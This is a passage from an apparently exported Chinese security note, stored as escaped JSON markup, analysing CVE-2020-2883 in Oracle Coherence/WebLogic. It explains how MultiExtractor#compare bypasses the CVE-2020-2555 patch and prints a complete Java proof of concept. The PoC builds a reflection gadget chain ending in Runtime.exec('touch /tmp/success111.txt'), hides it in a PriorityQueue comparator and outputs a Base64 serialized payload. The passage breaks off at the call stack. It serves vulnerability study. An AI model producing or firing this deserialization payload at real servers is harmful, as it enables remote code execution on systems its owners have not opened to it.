Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vs6F-1675761173836&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZGrI-1675761173837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复，此CVE主要是对上述修复的绕过。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;83vM-1675761959536&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d6Rh-1675761959534&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MultiExtractor#compare&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GI8u-1675761975898&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cSBn-1675761975896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MultiExtractor继承自AbstractExtractor&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gt5p-1675823540968&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5616/WEBRESOURCE411f30109533e9feb7d60ff31dbebf12&#34;,&#34;width&#34;:2938,&#34;height&#34;:1770},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5616/WEBRESOURCE411f30109533e9feb7d60ff31dbebf12&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2938,&#34;height&#34;:1770},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D4ps-1675823442052&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AHww-1675823442053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;很明显compare方法中有extract方法的调用：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Qpx-1675823592668&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5618/WEBRESOURCE32f8c693ebb932030492bb7d1bbfea8a&#34;,&#34;width&#34;:2928,&#34;height&#34;:1774},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5618/WEBRESOURCE32f8c693ebb932030492bb7d1bbfea8a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2928,&#34;height&#34;:1774},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bE4v-1675823407604&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MvRD-1675823407602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;与ChainedExtractor不同，这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o8ZQ-1675823712663&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5622/WEBRESOURCE89b79b93362e742e337f479681285b3c&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5622/WEBRESOURCE89b79b93362e742e337f479681285b3c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e0sy-1675823850119&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5624/WEBRESOURCE41aa6057d3e9ce8927be678a1c92438b&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5624/WEBRESOURCE41aa6057d3e9ce8927be678a1c92438b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dWhp-1675823647486&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AEft-1675823647484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以还得封装一层ChainedExtractor来进行rumtime调用，对于compare方法的触发，使用priorityQueue这条链的触发方法即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P9qi-1675824980054&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4DMH-1675824980053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考RoboTerh师傅的&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;XtCo-1675825584846&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ftS-1675825584845&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;poc&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;underline&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#0366d6&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mr6i-1675825584851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JSLx-1675825650948&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sogw-1675825650843&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DNN4-1675825650842&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.ValueExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jRdq-1675827217612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;STRL-1675827217611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.ChainedExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ETbs-1675827217614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;932W-1675827217613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.MultiExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pOJT-1675827217616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ilEX-1675827217615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.ReflectionExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L0jU-1675827217618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zBle-1675827217617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import ysoserial.payloads.util.Reflections;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2HA-1675827217620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yaoR-1675827217619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IUDu-1675827217622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;URru-1675827217621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L8FV-1675827217624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nrhS-1675827217623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMfS-1675827217626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lqjf-1675827217625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LLSH-1675827217628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KYsi-1675827217627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a9zJ-1675827217630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;75Ba-1675827217629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.PriorityQueue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l1X3-1675827217632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l2Tk-1675827217631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TvYu-1675827217634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZZGk-1675827217633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_2883_MultiExtractor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gOa9-1675827217636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EFVk-1675827217635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MxvP-1675827217638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e4Fs-1675827217637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 创建第一个Extractor Runtime.getMethod(\&#34;getRuntime\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1pMf-1675827217640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qmWQ-1675827217639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor(\&#34;getMethod\&#34;, new Object[]{\&#34;getRuntime\&#34;, new Class[0]});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DFzT-1675827217642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;coGK-1675827217641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 第二个Extractor getRuntime.invoke()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6LsZ-1675827217644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bA7o-1675827217643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor(\&#34;invoke\&#34;, new Object[]{null, new Object[0]});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZzCD-1675827217646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u7P3-1675827217645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 第三个Extractor invoke(exec, \&#34;id\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tvW3-1675827217648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dEnE-1675827217647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(\&#34;exec\&#34;, new Object[]{\&#34;touch /tmp/success111.txt\&#34;});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9GVz-1675827217650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wqrJ-1675827217649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(\&#34;exec\&#34;, new Object[]{new String[]{\&#34;calc\&#34;}});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WXbL-1675827217652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hwX5-1675827217651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lfGh-1675827217654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9s7v-1675827217653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mrgu-1675827217656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7thQ-1675827217655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MultiExtractor multiExtractor = new MultiExtractor();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TV36-1675827217658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;REQC-1675827217657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jwua-1675827217660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z6ez-1675827217659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField(\&#34;m_aExtractor\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RkBJ-1675827217662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwD4-1675827217661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        m_aExtractor.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LRDp-1675827217665&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DPNv-1675827217663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j3ii-1675827217667&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6eYO-1675827217666&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wqXT-1675827217669&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s39C-1675827217668&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        PriorityQueue priorityQueue = new PriorityQueue();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A9A2-1675827217671&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gyGA-1675827217670&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        priorityQueue.add(\&#34;1\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yuJN-1675827217673&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X45s-1675827217672&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        priorityQueue.add(\&#34;2\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xqxu-1675827217675&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lVA0-1675827217674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UN0Z-1675827217677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oebM-1675827217676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field comparator = priorityQueue.getClass().getDeclaredField(\&#34;comparator\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4h2U-1675827217679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hjDl-1675827217678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        comparator.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qiKr-1675827217681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DTAN-1675827217680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        comparator.set(priorityQueue, multiExtractor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fIhU-1675827217683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lS0I-1675827217682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1FRe-1675827217685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6UH4-1675827217684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, \&#34;queue\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xw2Q-1675827217687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kiOk-1675827217686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        queueArray[0] = Runtime.class;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xhHV-1675827217689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7R2X-1675827217688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        queueArray[1] = \&#34;2\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wldB-1675827217691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EVt2-1675827217690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4GAL-1675827217693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VHjr-1675827217692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uEmP-1675827217695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wJHy-1675827217694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0RAH-1675827217697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bApo-1675827217696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(priorityQueue);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sI6A-1675827217699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZQld-1675827217698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XpqG-1675827217701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hO2N-1675827217700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4uz-1675827217703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VwgU-1675827217702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QECY-1675827217705&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3YbQ-1675827217704&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWsG-1675823954862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tGSL-1675823954860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcH9-1675837320636&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZCiV-1675837320571&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&